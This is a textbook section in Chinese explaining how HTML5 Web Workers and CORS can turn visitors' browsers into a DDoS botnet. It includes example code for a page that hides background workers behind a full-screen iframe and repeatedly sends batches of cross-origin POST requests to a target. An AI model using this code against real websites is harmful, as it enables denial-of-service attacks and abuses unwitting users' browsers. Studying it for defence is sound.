8.3 HTML5下的僵尸网络

僵尸网络(英文名为Botnet)是指,通过各种手段在大量的计算机中植入特定的恶意程序,使控制者能够通过相对集中的若干计算机直接向大量计算机发送指令的攻击网络。攻击者通常利用这种大规模的僵尸网络实施各种其他攻击活动。

现在我们设想一下网络中是否可以存在这样一个僵尸节点:用户在日常上网时打开一个正常的网页浏览,但在用户不知情的情况下,此网页的背后正在疯狂地向外发送大量的数据请求,此时攻击源实际上就是用户的浏览器。只要用户不关闭这个网页,数据请求就会一直发送。如果这样的僵尸节点存在,那么众多的此僵尸节点必然会构成僵尸网络。

我们在7.7节中介绍的技巧可用做这样攻击的控制端,当有大量用户的浏览器被控制时,就可以批量向用户浏览器上发送对外请求的指令。

下面来看看HTML5中的新方法是如何将此僵尸网络的构想变成现实的。

8.3.1 Web Worker的使用

HMTL 5中的Web Worker可以让Web应用程序具备后台处理能力,比如,让Worker进行并行计算、后台I/O操作等,而且对多线程支持非常好,简单的示例代码如下:

<script>
var worker = new Worker("worker.js"); // 新建一个worker
worker.postMessage("hello world");
worker.onmessage = function(evt){
   console.log(evt.data);
}
</script>

只要在主页面加上一句new Worker("worker.js"),那么worker.js就会另外开辟一个新的线程在主页面的后台运行,主线程和新线程之间数据交换的接口使用postMessage()和onmessage进行通信。

Web Worker功能很强大,但无法访问DOM API,否则就可以做更多邪恶的事了。Web Worker不会导致浏览器UI停止响应,短暂的Worker操作不会让用户察觉,但如果是长时间大量的Worker运算操作,则会消耗CPU周期,使系统变慢,用户可能会看到CPU始终保持在高位。

8.3.2 CORS向任意网站发送跨域请求

CORS的安全策略仅仅在于是否允许客户端获取服务器的返回数据,但并不会阻止客户端发送的请求。这样客户端就可以使用XMLHttpRequest向任意网站发送跨域请求,网站服务器会像收到普通的GET或POST请求一样对其进行处理。相关内容在2.5.2节已介绍过。

8.3.3 一个HTML5僵尸网络实例

后台运行加上跨域请求,网络僵尸的请求模型就形成了。下面给出一个实际的案例,即HTML5下的Web Worker+CORS造就的僵尸网络。此案例是使用http://d0z.me/网站上提供的代码,仅供研究。

每个僵尸节点浏览器请求的页面代码如下:

<style>
   #page {width: 100%; height: 100%;}
   body{margin:0}
</style>
<script type="text/javascript">
   var target = 'http://www.target.com'; // 要进行DDoS攻击的网站
   var worker_loc = 'worker.js';
</script>
<script type="text/javascript" src="run_worker.js">
</script>
</head>
<body>
<iframe id="page" name="page" src="http://www.example.com" frameborder="0" noresize="noresize" style="overflow:visible"></iframe> //使iframe内嵌网站全屏显示
</body>

run_worker.js代码控制运行的worker数量,关键代码如下:

// ...
var worker_loc= 'worker.js';
var workers = new Array();
var i = 0;
var noWorker = typeof Worker == "undefined" ? true : false;
if (!noWorker) {
    try {
        for (i = 0; i <= 0; i++) {
            workers[i] = new Worker(worker_loc);
            workers[i].postMessage(target);
        }
    } catch (e) {
        //comment out in release
        e = e + "";
        alert(e);
        if (e.indexOf("Worker is not enabled") != -1) {
            noWorker = true;

        }
    }
}
// ...

worker.js代码:后台发送大量的跨域POST请求(CORS),关键部分的代码如下:

// ...
function makeRequest() {
    //make a new URL and request it via POST
    var fullUrl = makeURL();
    var httpRequest = new XMLHttpRequest();
    httpRequest.open("POST", fullUrl, true);
    httpRequest.setRequestHeader("Content-Type",  "text/plain;  charset=utf-8");
    httpRequest.onreadystatechange = infoReceived;
    httpRequest.onerror = err;
    httpRequest.send(post_data);
}
function dos() {//批量发起500次跨域请求
    var i = 0;
    for (i = 0; i < 500; i++) {
        makeRequest();
    }
}
self.onmessage = function (e) {
    base = e.data;
    dos();
}
// ...

通过这样一个模型,每个僵尸节点的浏览器将会高效地发送大量请求,如果能控制成千上万个僵尸节点,那么这样的拒绝服务攻击威力就比较大了。

如何控制更多的僵尸节点呢?其中一个方式是将在第9章介绍的Web蠕虫,蠕虫可以将被感染的用户浏览器变成僵尸节点。